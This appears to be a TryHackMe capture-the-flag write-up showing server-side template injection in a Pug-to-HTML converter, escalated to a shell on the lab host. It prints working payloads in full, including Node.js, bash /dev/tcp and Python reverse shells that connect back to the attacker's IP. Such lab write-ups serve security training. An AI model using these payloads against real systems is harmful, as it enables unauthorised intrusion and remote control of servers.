1

TryHackMe - Templates Writeup

As usual, starting this off from the playbook I set my target with settarget and run Rustscan. Here's the scan output:

Open 10.10.179.238:22
Open 10.10.179.238:5000
[~] Starting Script(s)
[>] Running script "nmap -vvv -p {{port}} {{ip}} -A -sC" on ip 10.10.179.238
Depending on the complexity of the script, results may take some time to appear.
[~] Starting Nmap 7.80 ( https://nmap.org ) at 2022-11-10 18:35 UTC
NSE: Loaded 151 scripts for scanning.
NSE: Script Pre-scanning.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 18:35
Completed NSE at 18:35, 0.00s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 18:35
Completed NSE at 18:35, 0.00s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 18:35
Completed NSE at 18:35, 0.00s elapsed
Initiating Ping Scan at 18:35
Scanning 10.10.179.238 [2 ports]
Completed Ping Scan at 18:35, 3.01s elapsed (1 total hosts)
Nmap scan report for 10.10.179.238 [host down, received no-response]
NSE: Script Post-scanning.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 18:35
Completed NSE at 18:35, 0.00s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 18:35
Completed NSE at 18:35, 0.00s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 18:35
Completed NSE at 18:35, 0.00s elapsed
Read data files from: /usr/bin/../share/nmap
Note: Host seems down. If it is really up, but blocking our ping probes, try -Pn
Nmap done: 1 IP address (0 hosts up) scanned in 3.29 seconds

Alright not a whole lot going on. Following the playbook, I should preform some enumeration of the SSH port to see if there's a glaring hole. While that scanner is running, I begin trying to discover what is on port 5000.

Port 22 - SSH

Results of ssh-audit:

$ ./ssh-audit.py $TARGET
# general
(gen) banner: SSH-2.0-OpenSSH_8.2p1 Ubuntu-4ubuntu0.4
(gen) software: OpenSSH 8.2p1
(gen) compatibility: OpenSSH 7.4+, Dropbear SSH 2018.76+
(gen) compression: enabled (zlib@openssh.com)
# security
(cve) CVE-2021-41617                        -- (CVSSv2: 7.0) privilege escalation via supplemental groups
(cve) CVE-2020-15778                        -- (CVSSv2: 7.8) command injection via anomalous argument transfers
(cve) CVE-2016-20012                        -- (CVSSv2: 5.3) enumerate usernames via challenge response
# key exchange algorithms
(kex) curve25519-sha256                     -- [info] available since OpenSSH 7.4, Dropbear SSH 2018.76
(kex) curve25519-sha256@libssh.org          -- [info] available since OpenSSH 6.5, Dropbear SSH 2013.62
(kex) ecdh-sha2-nistp256                    -- [fail] using weak elliptic curves
                                            `- [info] available since OpenSSH 5.7, Dropbear SSH 2013.62
(kex) ecdh-sha2-nistp384                    -- [fail] using weak elliptic curves
                                            `- [info] available since OpenSSH 5.7, Dropbear SSH 2013.62
(kex) ecdh-sha2-nistp521                    -- [fail] using weak elliptic curves
                                            `- [info] available since OpenSSH 5.7, Dropbear SSH 2013.62
(kex) diffie-hellman-group-exchange-sha256 (2048-bit) -- [info] available since OpenSSH 4.4
(kex) diffie-hellman-group16-sha512         -- [info] available since OpenSSH 7.3, Dropbear SSH 2016.73
(kex) diffie-hellman-group18-sha512         -- [info] available since OpenSSH 7.3
(kex) diffie-hellman-group14-sha256         -- [info] available since OpenSSH 7.3, Dropbear SSH 2016.73
# host-key algorithms
(key) rsa-sha2-512 (3072-bit)               -- [info] available since OpenSSH 7.2
(key) rsa-sha2-256 (3072-bit)               -- [info] available since OpenSSH 7.2
(key) ssh-rsa (3072-bit)                    -- [fail] using weak hashing algorithm
                                            `- [info] available since OpenSSH 2.5.0, Dropbear SSH 0.28
                                            `- [info] a future deprecation notice has been issued in OpenSSH 8.2: https://www.openssh.com/txt/release-8.2
(key) ecdsa-sha2-nistp256                   -- [fail] using weak elliptic curves
                                            `- [warn] using weak random number generator could reveal the key
                                            `- [info] available since OpenSSH 5.7, Dropbear SSH 2013.62
(key) ssh-ed25519                           -- [info] available since OpenSSH 6.5
# encryption algorithms (ciphers)
(enc) chacha20-poly1305@openssh.com         -- [info] available since OpenSSH 6.5
                                            `- [info] default cipher since OpenSSH 6.9.
(enc) aes128-ctr                            -- [info] available since OpenSSH 3.7, Dropbear SSH 0.52
(enc) aes192-ctr                            -- [info] available since OpenSSH 3.7
(enc) aes256-ctr                            -- [info] available since OpenSSH 3.7, Dropbear SSH 0.52
(enc) aes128-gcm@openssh.com                -- [info] available since OpenSSH 6.2
(enc) aes256-gcm@openssh.com                -- [info] available since OpenSSH 6.2
# message authentication code algorithms
(mac) umac-64-etm@openssh.com               -- [warn] using small 64-bit tag size
                                            `- [info] available since OpenSSH 6.2
(mac) umac-128-etm@openssh.com              -- [info] available since OpenSSH 6.2
(mac) hmac-sha2-256-etm@openssh.com         -- [info] available since OpenSSH 6.2
(mac) hmac-sha2-512-etm@openssh.com         -- [info] available since OpenSSH 6.2
(mac) hmac-sha1-etm@openssh.com             -- [warn] using weak hashing algorithm
                                            `- [info] available since OpenSSH 6.2
(mac) umac-64@openssh.com                   -- [warn] using encrypt-and-MAC mode
                                            `- [warn] using small 64-bit tag size
                                            `- [info] available since OpenSSH 4.7
(mac) umac-128@openssh.com                  -- [warn] using encrypt-and-MAC mode
                                            `- [info] available since OpenSSH 6.2
(mac) hmac-sha2-256                         -- [warn] using encrypt-and-MAC mode
                                            `- [info] available since OpenSSH 5.9, Dropbear SSH 2013.56
(mac) hmac-sha2-512                         -- [warn] using encrypt-and-MAC mode
                                            `- [info] available since OpenSSH 5.9, Dropbear SSH 2013.56
(mac) hmac-sha1                             -- [warn] using encrypt-and-MAC mode
                                            `- [warn] using weak hashing algorithm
                                            `- [info] available since OpenSSH 2.1.0, Dropbear SSH 0.28
# fingerprints
(fin) ssh-ed25519: SHA256:TuQcNd56C4UkF2VaS/x4J7enNrek7LfaMwG629mpxjY
(fin) ssh-rsa: SHA256:yVA4OL5dX2Kk4GjGNNp2gezeYcuT583d6rEFRg3y0fU
# algorithm recommendations (for OpenSSH 8.2)
(rec) -ecdh-sha2-nistp256                   -- kex algorithm to remove 
(rec) -ecdh-sha2-nistp384                   -- kex algorithm to remove 
(rec) -ecdh-sha2-nistp521                   -- kex algorithm to remove 
(rec) -ecdsa-sha2-nistp256                  -- key algorithm to remove 
(rec) -ssh-rsa                              -- key algorithm to remove 
(rec) -hmac-sha1                            -- mac algorithm to remove 
(rec) -hmac-sha1-etm@openssh.com            -- mac algorithm to remove 
(rec) -hmac-sha2-256                        -- mac algorithm to remove 
(rec) -hmac-sha2-512                        -- mac algorithm to remove 
(rec) -umac-128@openssh.com                 -- mac algorithm to remove 
(rec) -umac-64-etm@openssh.com              -- mac algorithm to remove 
(rec) -umac-64@openssh.com                  -- mac algorithm to remove 
# additional info
(nfo) For hardening guides on common OSes, please see: <https://www.ssh-audit.com/hardening_guides.html>

It found a few CVE's, which I looked into briefly to see if there was an RCE, which there wasn't. However, if we get initial access we may be able to use it for privilege escalation.

Port 5000 - ?

Let's figure out what's running here:

$ nc -vn $TARGET 5000
(UNKNOWN) [10.10.179.238] 5000 (?) open
$ curl -v $TARGET:5000
*   Trying 10.10.179.238:5000...
* Connected to 10.10.179.238 (10.10.179.238) port 5000 (#0)
> GET / HTTP/1.1
> Host: 10.10.179.238:5000
> User-Agent: curl/7.84.0
> Accept: */*
> 
* Mark bundle as not supporting multiuse
< HTTP/1.1 200 OK
< X-Powered-By: Express
< Content-Type: text/html; charset=utf-8
< Content-Length: 1410
< ETag: W/"582-l4OEKbdL2oTZdn4W3OL8iTr7Jjg"
< Date: Thu, 10 Nov 2022 18:55:18 GMT
< Connection: keep-alive
< Keep-Alive: timeout=5
< 
<!DOCTYPE html><head><title>PUG to HTML</title><link rel="stylesheet" href="https://stackpath.bootstrapcdn.com/bootstrap/4.5.2/css/bootstrap.min.css"><link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/codemirror/5.60.0/codemirror.min.css"></head><nav class="navbar navbar-light bg-light"><div class="container"><span class="navbar-brand mb-0 h1">PUG to HTML Converter</span></div></nav><div class="container pt-4"><form action="/render" method="post"><div class="form-group"><label for="template">Template</label><textarea class="form-control" id="template" name="template">doctype html
head
  title Pug
  script.
    console.log("Pugs are cute")
h1 Pug - node template engine
#container.col
  p You are amazing
  p Pug is a terse and simple templating language.
</textarea></div><button class="btn btn-primary" type="submit">Convert to HTML</button></form></div><script src="https://cdnjs.cloudflare.com/ajax/libs/codemirror/5.60.0/codemirror.min.js"></script><script src="https://cdnjs.cloudflare.com/ajax/libs/codemirror/5.60.0/mode/pug/pug.js"></script><link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/codemirror/5.60.0/theme/material-darker.min.css"><script>var editor = CodeMirror.fromTextArea(document.getElementById("template"), {
  mode: {name: "pug", alignCDATA: true},
  lineNumbers: true,
  tabSize: 2,
  theme: "material-darker",
  autofocus: true 
* Connection #0 to host 10.10.179.238 left intact
});</script>

Automated Scan Results

Here are the results of automated scans, before I give up and look for an application vulnerability:

nikto --host $TARGET --port 5000
- Nikto v2.1.6
---------------------------------------------------------------------------
+ Target IP:          10.10.179.238
+ Target Hostname:    10.10.179.238
+ Target Port:        5000
+ Start Time:         2022-11-10 13:48:40 (GMT-5)
---------------------------------------------------------------------------
+ Server: No banner retrieved
+ Retrieved x-powered-by header: Express
+ The anti-clickjacking X-Frame-Options header is not present.
+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
+ The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ Allowed HTTP Methods: GET, HEAD 
+ ERROR: Error limit (20) reached for host, giving up. Last error: 
+ Scan terminated:  1 error(s) and 5 item(s) reported on remote host
+ End Time:           2022-11-10 14:02:19 (GMT-5) (819 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested
dirb http://$TARGET:5000/
-----------------
DIRB v2.22    
By The Dark Raver
-----------------
START_TIME: Thu Nov 10 13:48:54 2022
URL_BASE: http://10.10.179.238:5000/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt
-----------------
                                                                             GENERATED WORDS: 4612
---- Scanning URL: http://10.10.179.238:5000/ ----
                                                                                                                                                            
-----------------
END_TIME: Thu Nov 10 13:56:42 2022
DOWNLOADED: 4612 - FOUND: 0

Manual Application Testing

Alright, looks like we have a HTTP server to poke at. At first glance it looks like the page is taking content within the <textare id="template"> and using that to render something at runtime using pug.js. I'll fire up Burp suite and load the site normally to see what the end-result of this templating is. 1 Alright so it's taking input from the textinput and putting it through some process. I'll just use the app first to observe what it is doing. Clicking submit, it dumps a raw html string to the browserr:

<!DOCTYPE html><head><title>Pug</title><script>console.log("Pugs are cute")</script></head><h1>Pug - node template engine</h1><div class="col" id="container"><p>You are amazing</p><p>Pug is a terse and simple templating language.</p></div>

It preformed the following request to do this: 2 So there is an endpoint at /render which is taking the template string as a URL Encoded value and spitting out HTML. Our job then, is to figure out how to trick the templating engine into executing some code for us, or disclosing information about the server in some way. Let's have a closer look at the I/O to see if we can notice any areas that we should fuzz...

doctype html
head
  title Pug
  script.
    console.log("Pugs are cute")
h1 Pug - node template engine
#container.col
  p You are amazing
  p Pug is a terse and simple templating language.
doctype X   -> <!DOCTYPE X>
head Y      -> <head> Y </head>
title X     -> <title>X</title>
script. Y   -> <script>Y</script>
h1 X        -> <h1>X</h1>
#X.Y Z      -> <div id=X class=Y>Z</div>

Hmm, nothing here screams "Easy RCE Here". So perhaps I should try just putting some random values into there and see what we get back.

doctype testing        -> <!DOCTYPE testing>
invalidtag x           -> <invalidtag>x</invalidtag>
'                      -> Error Below

Inputting a single quote produced this error:

Error: Pug:1:1
  > 1| '
-------^
    2| 
unexpected text "'
"
    at makeError (/usr/src/app/node_modules/pug-error/index.js:34:13)
    at Lexer.error (/usr/src/app/node_modules/pug-lexer/index.js:62:15)
    at Lexer.fail (/usr/src/app/node_modules/pug-lexer/index.js:1629:10)
    at Lexer.advance (/usr/src/app/node_modules/pug-lexer/index.js:1694:12)
    at Lexer.callLexerFunction (/usr/src/app/node_modules/pug-lexer/index.js:1647:23)
    at Lexer.getTokens (/usr/src/app/node_modules/pug-lexer/index.js:1706:12)
    at lex (/usr/src/app/node_modules/pug-lexer/index.js:12:42)
    at Object.lex (/usr/src/app/node_modules/pug/lib/index.js:104:9)
    at Function.loadString [as string] (/usr/src/app/node_modules/pug-load/index.js:53:24)
    at compileBody (/usr/src/app/node_modules/pug/lib/index.js:82:18)

This gives us a callstack to muck with! It's now clear that pug isn't just some one-off thing this person has built, it's an upstream package. I should have noticed this in the initial HTML output, it was getting pulled from upstream CDN. We also know the version is 5.60.0. Nothing comes up in searchsploit, so let's go look at the source code.

pug.js

open https://cdnjs.cloudflare.com/ajax/libs/codemirror/5.60.0/mode/pug/pug.js

There is some useful information here... nothing worth noting yet. This project also has a site here. I checked out the installation guide to see if I could spot any mistakes the admin could have made. In the initial setup guide, they instruct you to write templates to disk, then use the templating engine to render the template. 'Note: The view engine cache does not cache the contents of the template’s output, only the underlying template itself. The view is still re-rendered with every request even when the cache is on' I think this is probably the vector somehow... we just need to find where/how these templates are stored. I poked around a broader area looking for pugjs vulnerabilities, and found a few on github. We don't actually know what version is being hosted though... so let's just try stuff in order! The first vulnerability I found was code injection via the visitMixin and visitMixinBlock pretty option. There is a poc here. The issue with this is we need to have an established template file somewhere, whereas right now we just have a way to provide a template and get a rendered result... I did try putting in the provided example template though:

html
body
  mixin print(text)
     p= text
  +print("Hello world"))

And it did spark interest around what these mixins are for sure. The docs for the feature are here. It seems that we can define whatever we want, but since we can actually control the value going into the function, we've actually gained an RCE! To prove it, I'll run some JS code to populate a result... Submitting this template...

html
body
  mixin print(text)
     p= text
  +print(process.env.PATH)

Result:

<html></html><body><p>/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin</p></body>

Boom we have an RCE!

RCE to Shell

Now we have to figure out how to get a shell onto the system using this Node JS RCE. We should be able to upload a reverse shell command here... I'll start a listener on my machine:

nc -lnvp 5555

And then use the following:

html
body
  mixin print(text)
     p= text
  +print((function(){ var net = require("net"), cp = require("child_process"), sh = cp.spawn("/bin/sh", []); var client = new net.Socket(); client.connect(5555, "MYIP", function(){ client.pipe(sh.stdin); sh.stdout.pipe(client); sh.stderr.pipe(client); }); return /a/;})();))

This produced an error:

Error: Pug:5:279
    3|   mixin print(text)
    4|      p= text
  > 5|   +print((function(){ var net = require("net"), cp = require("child_process"), sh = cp.spawn("/bin/sh", []); var client = new net.Socket(); client.connect(5555, "10.6.13.47", function(){ client.pipe(sh.stdin); sh.stdout.pipe(client); sh.stderr.pipe(client); }); return /a/;})();))
---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------^
Syntax Error: Unexpected token
    at makeError (/usr/src/app/node_modules/pug-error/index.js:34:13)
    at Lexer.error (/usr/src/app/node_modules/pug-lexer/index.js:62:15)
    at Lexer.assertExpression (/usr/src/app/node_modules/pug-lexer/index.js:96:12)
    at Lexer.call (/usr/src/app/node_modules/pug-lexer/index.js:949:16)
    at Lexer.callLexerFunction (/usr/src/app/node_modules/pug-lexer/index.js:1647:23)
    at Lexer.advance (/usr/src/app/node_modules/pug-lexer/index.js:1674:12)
    at Lexer.callLexerFunction (/usr/src/app/node_modules/pug-lexer/index.js:1647:23)
    at Lexer.getTokens (/usr/src/app/node_modules/pug-lexer/index.js:1706:12)
    at lex (/usr/src/app/node_modules/pug-lexer/index.js:12:42)
    at Object.lex (/usr/src/app/node_modules/pug/lib/index.js:104:9)

Okay let's try base64 encoding it? Payload:

html
body
  mixin print(text)
     p= text
  +print(eval(new Buffer("KGZ1bmN0aW9uKCl7IHZhciBuZXQgPSByZXF1aXJlKCJuZXQiKSwgY3AgPSByZXF1aXJlKCJjaGlsZF9wcm9jZXNzIiksIHNoID0gY3Auc3Bhd24oIi9iaW4vc2giLCBbXSk7IHZhciBjbGllbnQgPSBuZXcgbmV0LlNvY2tldCgpOyBjbGllbnQuY29ubmVjdCgxMjM0NSwgIjEyNy4wLjAuMSIsIGZ1bmN0aW9uKCl7IGNsaWVudC5waXBlKHNoLnN0ZGluKTsgc2guc3Rkb3V0LnBpcGUoY2xpZW50KTsgc2guc3RkZXJyLnBpcGUoY2xpZW50KTsgfSk7IHJldHVybiAvYS87fSkoKTs=","base64").toString("ascii")))

This produces this error:

ReferenceError: require is not defined on line 5
    at eval (eval at <anonymous> (eval at wrap (/usr/src/app/node_modules/pug-runtime/wrap.js:6:10)), <anonymous>:1:24)
    at eval (eval at <anonymous> (eval at wrap (/usr/src/app/node_modules/pug-runtime/wrap.js:6:10)), <anonymous>:1:267)
    at eval (eval at wrap (/usr/src/app/node_modules/pug-runtime/wrap.js:6:10), <anonymous>:20:21)
    at template (eval at wrap (/usr/src/app/node_modules/pug-runtime/wrap.js:6:10), <anonymous>:22:7)
    at Object.exports.render (/usr/src/app/node_modules/pug/lib/index.js:423:43)
    at /usr/src/app/app.js:16:15
    at Layer.handle [as handle_request] (/usr/src/app/node_modules/express/lib/router/layer.js:95:5)
    at next (/usr/src/app/node_modules/express/lib/router/route.js:137:13)
    at Route.dispatch (/usr/src/app/node_modules/express/lib/router/route.js:112:3)
    at Layer.handle [as handle_request] (/usr/src/app/node_modules/express/lib/router/layer.js:95:5)

Let's try a little more carefully... First I confirmed I can execute my own little function:

(function(){return 'test';})()

The result was test in the output, so we're good. Now, thinking back to that POC, we can load modules like this:

process.mainModule.constructor._load('package')...

So I should be able to...

(function(){ return process.mainModule.constructor._load('child_process').execSync('whoami'); })()

Output:

<html></html><body><p>user
</p></body>

Okay good, now we're executing system processes and getting a response. Let's check if the system has netcat:

(function(){ return process.mainModule.constructor._load('child_process').execSync('which nc'); })()

Response was error. We do have sh though, and even better we have bash! So I should be able to do:

(function(){ return process.mainModule.constructor._load('child_process').execSync('bash -i >& /dev/tcp/MYIP/5555 0>&1'); })()

... Error. Looks like this bash won't allow reverse shell. Python is present on the system, and I used the following to determine it was python 2.

html
body
  mixin print(text)
     p= text
  +print((function(){ return process.mainModule.constructor._load('child_process').execSync('python -c "import sys; print(sys.version)"'); })())
<html></html><body><p>2.7.13 (default, Feb  6 2022, 20:16:18) 
[GCC 6.3.0 20170516]
</p></body>

So I should be able to get a reverse shell with Python...

html
body
  mixin print(text)
     p= text
  +print((function(){ return process.mainModule.constructor._load('child_process').execSync('python -c 'import socket,os,pty;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",4242));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn("/bin/sh")''); })())

3 That did the trick! Once I got in the flag was right in the first directory! GG!